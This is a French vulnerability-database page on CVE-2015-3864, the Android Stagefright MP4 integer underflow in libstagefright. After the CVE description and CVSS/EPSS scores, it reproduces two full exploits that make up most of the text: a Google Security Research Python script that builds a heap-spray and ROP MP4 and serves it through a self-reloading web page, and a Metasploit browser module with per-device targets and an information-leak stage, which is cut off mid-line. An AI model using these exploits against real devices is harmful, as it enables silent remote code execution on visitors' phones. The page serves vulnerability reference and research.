CVE-2015-3864 : Détail

CVE-2015-3864

96.8%V3
Network
2015-09-30
22h00 +00:00
2017-09-15
07h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Integer underflow in the MPEG4Extractor::parseChunk function in MPEG4Extractor.cpp in libstagefright in mediaserver in Android before 5.1.1 LMY48M allows remote attackers to execute arbitrary code via crafted MPEG-4 data, aka internal bug 23034759. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-3824.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 38226

Date de publication : 2015-09-16 22h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

#!/usr/bin/python2 import cherrypy import os import pwnlib.asm as asm import pwnlib.elf as elf import sys import struct with open('shellcode.bin', 'rb') as tmp: shellcode = tmp.read() while len(shellcode) % 4 != 0: shellcode += '\x00' # heap grooming configuration alloc_size = 0x20 groom_count = 0x4 spray_size = 0x100000 spray_count = 0x10 # address of the buffer we allocate for our shellcode mmap_address = 0x90000000 # addresses that we need to predict libc_base = 0xb6ebd000 spray_address = 0xb3000000 # ROP gadget addresses stack_pivot = None pop_pc = None pop_r0_r1_r2_r3_pc = None pop_r4_r5_r6_r7_pc = None ldr_lr_bx_lr = None ldr_lr_bx_lr_stack_pad = 0 mmap64 = None memcpy = None def find_arm_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='arm') gadget_address = None for address in e.search(gadget_bytes): if address % 4 == 0: gadget_address = address if gadget_bytes == e.read(gadget_address, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm') break return gadget_address def find_thumb_gadget(e, gadget): gadget_bytes = asm.asm(gadget, arch='thumb') gadget_address = None for address in e.search(gadget_bytes): if address % 2 == 0: gadget_address = address + 1 if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)): print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb') break return gadget_address def find_gadget(e, gadget): gadget_address = find_thumb_gadget(e, gadget) if gadget_address is not None: return gadget_address return find_arm_gadget(e, gadget) def find_rop_gadgets(path): global memcpy global mmap64 global stack_pivot global pop_pc global pop_r0_r1_r2_r3_pc global pop_r4_r5_r6_r7_pc global ldr_lr_bx_lr global ldr_lr_bx_lr_stack_pad e = elf.ELF(path) e.address = libc_base memcpy = e.symbols['memcpy'] print '[*] memcpy : 0x{:08x}'.format(memcpy) mmap64 = e.symbols['mmap64'] print '[*] mmap64 : 0x{:08x}'.format(mmap64) # .text:00013344 ADD R2, R0, #0x4C # .text:00013348 LDMIA R2, {R4-LR} # .text:0001334C TEQ SP, #0 # .text:00013350 TEQNE LR, #0 # .text:00013354 BEQ botch_0 # .text:00013358 MOV R0, R1 # .text:0001335C TEQ R0, #0 # .text:00013360 MOVEQ R0, #1 # .text:00013364 BX LR pivot_asm = '' pivot_asm += 'add r2, r0, #0x4c\n' pivot_asm += 'ldmia r2, {r4 - lr}\n' pivot_asm += 'teq sp, #0\n' pivot_asm += 'teqne lr, #0' stack_pivot = find_arm_gadget(e, pivot_asm) print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot) pop_pc_asm = 'pop {pc}' pop_pc = find_gadget(e, pop_pc_asm) print '[*] pop_pc : 0x{:08x}'.format(pop_pc) pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}') print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc) pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}') print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc) ldr_lr_bx_lr_stack_pad = 0 for i in range(0, 0x100, 4): ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i) ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8) ldr_lr_bx_lr_asm += 'bx lr' ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm) if ldr_lr_bx_lr is not None: ldr_lr_bx_lr_stack_pad = i break def pad(size): return '#' * size def pb32(val): return struct.pack(">I", val) def pb64(val): return struct.pack(">Q", val) def p32(val): return struct.pack("<I", val) def p64(val): return struct.pack("<Q", val) def chunk(tag, data, length=0): if length == 0: length = len(data) + 8 if length > 0xffffffff: return pb32(1) + tag + pb64(length)+ data return pb32(length) + tag + data def alloc_avcc(size): avcc = 'A' * size return chunk('avcC', avcc) def alloc_hvcc(size): hvcc = 'H' * size return chunk('hvcC', hvcc) def sample_table(data): stbl = '' stbl += chunk('stco', '\x00' * 8) stbl += chunk('stsc', '\x00' * 8) stbl += chunk('stsz', '\x00' * 12) stbl += chunk('stts', '\x00' * 8) stbl += data return chunk('stbl', stbl) def memory_leak(size): pssh = 'leak' pssh += 'L' * 16 pssh += pb32(size) pssh += 'L' * size return chunk('pssh', pssh) def heap_spray(size): pssh = 'spry' pssh += 'S' * 16 pssh += pb32(size) page = '' nop = asm.asm('nop', arch='thumb') while len(page) < 0x100: page += nop page += shellcode while len(page) < 0xed0: page += '\xcc' # MPEG4DataSource fake vtable page += p32(stack_pivot) # pivot swaps stack then returns to pop {pc} page += p32(pop_r0_r1_r2_r3_pc) # mmap64(mmap_address, # 0x1000, # PROT_READ | PROT_WRITE | PROT_EXECUTE, # MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, # -1, # 0); page += p32(mmap_address) # r0 = address page += p32(0x1000) # r1 = size page += p32(7) # r2 = protection page += p32(0x32) # r3 = flags page += p32(ldr_lr_bx_lr) # pc page += pad(ldr_lr_bx_lr_stack_pad) page += p32(pop_r4_r5_r6_r7_pc) # lr page += pad(4) page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(mmap64) # pc page += p32(0xffffffff) # fd (and then r4) page += pad(4) # padding (and then r5) page += p64(0) # offset (and then r6, r7) page += p32(pop_r0_r1_r2_r3_pc) # pc # memcpy(shellcode_address, # spray_address + len(rop_stack), # len(shellcode)); page += p32(mmap_address) # r0 = dst page += p32(spray_address - 0xed0) # r1 = src page += p32(0xed0) # r2 = size page += p32(0x33333333) # r3 page += p32(ldr_lr_bx_lr) # pc page += pad(ldr_lr_bx_lr_stack_pad) page += p32(pop_r4_r5_r6_r7_pc) # lr page += pad(4) page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(memcpy) # pc page += p32(0x44444444) # r4 page += p32(0x55555555) # r5 page += p32(0x66666666) # r6 page += p32(0x77777777) # r7 page += p32(mmap_address + 1) # pc while len(page) < 0x1000: page += '#' pssh += page * (size // 0x1000) return chunk('pssh', pssh) def exploit_mp4(): ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex")) trak = '' # heap spray so we have somewhere to land our corrupted vtable # pointer # yes, we wrap this in a sample_table for a reason; the # NuCachedSource we will be using otherwise triggers calls to mmap, # leaving our large allocations non-contiguous and making our chance # of failure pretty high. wrapping in a sample_table means that we # wrap the NuCachedSource with an MPEG4Source, making a single # allocation that caches all the data, doubling our heap spray # effectiveness :-) trak += sample_table(heap_spray(spray_size) * spray_count) # heap groom for our MPEG4DataSource corruption # get the default size allocations for our MetaData::typed_data # groom allocations out of the way first, by allocating small blocks # instead. trak += alloc_avcc(8) trak += alloc_hvcc(8) # we allocate the initial tx3g chunk here; we'll use the integer # overflow so that the allocated buffer later is smaller than the # original size of this chunk, then overflow all of the following # MPEG4DataSource object and the following pssh allocation; hence why # we will need the extra groom allocation (so we don't overwrite # anything sensitive...) # | tx3g | MPEG4DataSource | pssh | overflow = 'A' * 24 # | tx3g ----------------> | pssh | overflow += p32(spray_address) # MPEG4DataSource vtable ptr overflow += '0' * 0x48 overflow += '0000' # r4 overflow += '0000' # r5 overflow += '0000' # r6 overflow += '0000' # r7 overflow += '0000' # r8 overflow += '0000' # r9 overflow += '0000' # r10 overflow += '0000' # r11 overflow += '0000' # r12 overflow += p32(spray_address + 0x20) # sp overflow += p32(pop_pc) # lr trak += chunk("tx3g", overflow) # defragment the for alloc_size blocks, then make our two # allocations. we end up with a spurious block in the middle, from # the temporary ABuffer deallocation. # | pssh | - | pssh | trak += memory_leak(alloc_size) * groom_count # | pssh | - | pssh | .... | avcC | trak += alloc_avcc(alloc_size) # | pssh | - | pssh | .... | avcC | hvcC | trak += alloc_hvcc(alloc_size) # | pssh | - | pssh | pssh | avcC | hvcC | pssh | trak += memory_leak(alloc_size) * 8 # | pssh | - | pssh | pssh | avcC | .... | trak += alloc_hvcc(alloc_size * 2) # entering the stbl chunk triggers allocation of an MPEG4DataSource # object # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh | stbl = '' # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh | stbl += alloc_avcc(alloc_size * 2) # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh | # | pssh | - | pssh | pssh | tx3g ----------------> | overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff) stbl += chunk("tx3g", '', length = overflow_length) trak += chunk('stbl', stbl) return ftyp + chunk('trak', trak) index_page = ''' <!DOCTYPE html> <html> <head> <title>Stagefrightened!</title> </head> <body> <script> window.setTimeout('location.reload(true);', 4000); </script> <iframe src='/exploit.mp4'></iframe> </body> </html> ''' class ExploitServer(object): exploit_file = None exploit_count = 0 @cherrypy.expose def index(self): self.exploit_count += 1 print '*' * 80 print 'exploit attempt: ' + str(self.exploit_count) print '*' * 80 return index_page @cherrypy.expose(["exploit.mp4"]) def exploit(self): cherrypy.response.headers['Content-Type'] = 'video/mp4' cherrypy.response.headers['Content-Encoding'] = 'gzip' if self.exploit_file is None: exploit_uncompressed = exploit_mp4() with open('exploit_uncompressed.mp4', 'wb') as tmp: tmp.write(exploit_uncompressed) os.system('gzip exploit_uncompressed.mp4') with open('exploit_uncompressed.mp4.gz', 'rb') as tmp: self.exploit_file = tmp.read() os.system('rm exploit_uncompressed.mp4.gz') return self.exploit_file def main(): find_rop_gadgets('libc.so') with open('exploit.mp4', 'wb') as tmp: tmp.write(exploit_mp4()) cherrypy.quickstart(ExploitServer()) if __name__ == '__main__': main()
Exploit Database EDB-ID : 40436

Date de publication : 2016-09-26 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Android Stagefright MP4 tx3g Integer Overflow", 'Description' => %q{ This module exploits a integer overflow vulnerability in the Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically. NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode. }, 'License' => MSF_LICENSE, 'Author' => [ # Exodus/jordan # initial discovery / disclosure 'jduck', # Metasploit module, further infoleak development 'NorthBit' # intiial information leak implementation ], 'References' => [ [ 'CVE', '2015-3864' ], [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ], [ 'URL', 'https://github.com/NorthBit/Metaphor' ], # Not used, but related [ 'URL', 'http://drops.wooyun.org/papers/7558' ], [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, }, #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ [ 'Automatic', {} ], # # Each target includes information about the device, firmware, and # how exactly to about exploiting it. # # Primarily, these targets are used to map a browser's User-Agent to # exploit specifics for that device / build. # [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)', { 'Model' => 'Nexus 7', 'Build' => 'LRX21P', 'Release' => '5.0', 'Rop' => 'lrx', 'SprayAddress' => 0xb1508000 } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48G', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 5', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 5', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48B', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 6', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 6', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47E)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47E', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28E', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28E' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47M)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47M', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47Z', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48C', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28J', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28J' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48E', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)', { 'Model' => 'SM-G900V', 'Build' => 'LRX21T', 'Release' => '5.0', 'Rop' => 'sm-g900v / OE1', 'SprayAddress' => 0xaf008000, 'SampleIteratorSize' => 0xa8, 'VectorSize' => 0xec } ] ], 'Privileged' => true, 'DisclosureDate' => "Aug 13 2015", 'DefaultTarget' => 0)) =begin register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) =end end def exploit @peers = {} super end def get_target(request) agent = request.headers['User-Agent'] self.targets.each do |t| next if t.name == 'Automatic' regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}") return t if (agent =~ /#{regexp}/) end return nil end # # Construct a page worth of data that we'll spray # # NOTE: The data within is target-specific # def build_spray(my_target, peer, spray_addr) # Initialize the page to a reasonable state. page = '' page = rand_text(4096) # Load target-based exploit-specific variables details = get_details(my_target) return nil if details.nil? # Calculate the libstagefright.so base address vector_rva = details['VectorRVA'] vector_ptr = peer[:vector_vtable_addr] libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000) # If we smash mDataSource, this ends up controlling the program counter!! =begin 0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0] 0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0] 0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0] 0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4] 0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28] 0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10] 0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6 0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40 =end # Initialize our pivot values and adjust them to libstagefright's base. # First, load r0 (pointer to our buffer) into some register.. mds_pivot1 = libsf_base + details['Pivot1'] # Next, load sp (and probably other stuff) from there mds_pivot2 = libsf_base + details['Pivot2'] # Finally, skip over some stuff and kick of the ROP chain mds_adjust = libsf_base + details['Adjust'] # The offset to the ROP change beginning rop_start_off = 0x30 # Point sp to the remainder of the ROP chain new_sp = spray_addr + rop_start_off # Sometimes the spray isn't aligned perfectly, this fixes that situation... unalign_off = 0x998 new_sp2 = new_sp + 0x1000 - unalign_off # This pointer should point to the beginning of the shellcode payload payload_ptr = spray_addr + 0xa0 # Put the stack back! stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp # Depending on the pivot strategy in use, we have to set things up slightly # differently... # # In each case, we use a two-stage pivot that reads the spray address from # r0 (we smashed that, remember). # # The addroffs array is used to map values to the offsets where the pivots # expect them to be. # case details['PivotStrategy'] when 'lrx' addroffs = [ [ 0x0, new_sp ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ], ] # Since we are only popping one item in pivot2, we reduce the rop_start_off rop_start_off -= 4 # Adjust the payload pointer payload_ptr -= 4 when 'lmy-1' addroffs = [ [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] when 'lmy-2' ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp when 'lyz' ptr_to_mds_pivot2 = spray_addr + 0x8 addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, mds_pivot2 ], [ 0x1c, mds_pivot1 ], [ 0x24, new_sp ], # lr is at 0x28! [ 0x2c, mds_adjust ] ] # We can't fix it becuse we don't know where the original stack is anymore :-/ stack_fix = "" when 'sm-g900v' addroffs = [ [ 0x4, mds_adjust ], [ 0x10, new_sp ], [ 0x1c, mds_pivot1 ], [ 0x20, mds_pivot2 ] ] else print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!") return nil end # We need our ROP to build the page... Create it. rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] }) # Fix up the payload pointer in the ROP idx = rop.index([ 0xc600613c ].pack('V')) rop[idx, 4] = [ payload_ptr ].pack('V') # Insert the ROP page[rop_start_off, rop.length] = rop # Insert the special values... addroffs.each do |ao| off,addr = ao page[off,4] = [ addr ].pack('V') # Sometimes the spray isn't aligned perfectly... if addr == new_sp page[off+unalign_off,4] = [ new_sp2 ].pack('V') else page[off+unalign_off,4] = [ addr ].pack('V') end end page end # # MPEG-4 specific functionality # def get_atom(tag, data='', length=nil) if tag.length != 4 raise 'Yo! They call it "FourCC" for a reason.' end length ||= data.length + 8 if length >= 2**32 return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join end [ [ length ].pack('N'), tag, data ].join end def get_stsc(num) stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num get_atom('stsc', stsc_data) end def get_ftyp # Build the MP4 header... ftyp = 'mp42' ftyp << [ 0 ].pack('N') ftyp << 'mp42' ftyp << 'isom' get_atom('ftyp', ftyp) end def get_pssh(alloc_size) pssh_data = '' pssh_data << [ 0 ].pack('N') pssh_data << [ 0, 0, 0, 0 ].pack('N*') pssh_data << [ alloc_size ].pack('N') alloc_size.times do |off| pssh_data << [ 0x55aa0000 + off ] .pack('V') end get_atom('pssh', pssh_data) end def get_metaitem(tag, type, data) ret = '' ret << tag.reverse ret << type.reverse case type when 'in32' ret << [ 4, data ].pack('V*') when 'in64' ret << [ 8, data ].pack('V*') else raise "How do you expect me to make a #{type.inspect} ??" end ret end def jemalloc_round(sz) # These are in the 16-byte aligned runs if (sz > 0x10 && sz <= 0x80) round = 16 # 160 starts the 32-byte aligned runs elsif (sz > 0x80 && sz <= 0x140) round = 32 else raise "Don't know how to round 0x%x" % sz end ret = (sz + (round - 1)) / round ret *= round return ret end # # Leak data from mediaserver back to the browser! # # Stage 1 - leak a heap pointer near a SampleIterator object # Stage 2 - read a code pointer from the SampleIterator object # def get_mp4_leak(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # sampiter_alloc_size = 0x78 sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil? sampiter_rounded = jemalloc_round(sampiter_alloc_size) vector_alloc_size = 0x8c vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil? groom_count = 0x10 is_samsung = (my_target['Rop'] == 'sm-g900v / OE1') # Coerce the heap into a favorable shape (fill holes) shape_vector = get_pssh(vector_alloc_size) # Allocate a block of memory of the correct size placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C')) # Make the first tx3g chunk, which is meant to overflow into a MetaData array. # We account for the overhead of both chunks here and aim for this layout: # # placeholder after re-allocation | vector array data # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data> # # Realistically, tx3g1_padding can be any number that rounds up to the # correct size class. tx3g1_overhead = 0x8 tx3g2_overhead = 0x10 tx3g_target = jemalloc_round(vector_alloc_size) tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead) tx3g_data = 'x' * tx3g1_padding tx3g_1 = get_atom('tx3g', tx3g_data) # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only) # avcC was in the initial commit. near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size) # Craft the data that will overwrite the header and part of the MetaData # array... more_data = '' more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*') # Now add the thing(s) we want to control (partially) # # We add some BS entries just to kill the real 'heig' and get proper # ordering... near_sampiter_addr = peer[:near_sampiter_addr] if near_sampiter_addr.nil? # Part 1. Leak the address of a chunk that should be adjacent to a # SampleIterator object. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, abc1, abc2, abc3, heig... more_data << get_metaitem('dmcE', 'in32', 1) more_data << get_metaitem('abc1', 'in32', 31335) more_data << get_metaitem('abc2', 'in32', 31336) end # On Nexus: # Before: heig, hvcc, inpS, mime, text, widt # After: abc3, heig... more_data << get_metaitem('abc3', 'in32', 31337) # NOTE: We only use the first 12 bytes so that we don't overwrite the # pointer that is already there! heig = get_metaitem('heig', 'in32', 31338) more_data << heig[0,12] else # Part 2. Read from the specified address, as with the original Metaphor # exploit. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, dura, ... more_data << get_metaitem('dmcE', 'in32', 1) else # On Nexus: # Before: avcc, heig, inpS, mime, text, widt # After: dura, ... near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size) end # Try to read the mCurrentChunkSampleSizes vtable ptr within a # SampleIterator object. This only works because the Vector is empty thus # passing the restrictions imposed by the duration conversion. ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30 more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable) end # The tx3g2 then needs to trigger the integer overflow, but can contain any # contents. The overflow will terminate at the end of the file. # # NOTE: The second tx3g chunk's overhead ends up in the slack space between # the replaced placeholder and the MetaData Vector contents. big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size tx3g_2 = get_atom('tx3g', more_data, big_num) # Create a minimal, verified 'trak' to satisfy mLastTrack being set stbl_data = get_stsc(1) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount stbl = get_atom('stbl', stbl_data) verified_trak = get_atom('trak', stbl) # Start putting it all together into a track. trak_data = '' if is_samsung # Put some legitimate duration information so we know if we failed mdhd_data = [ 0 ].pack('N') # version mdhd_data << "\x00" * 8 # padding mdhd_data << [ 1 ].pack('N') # 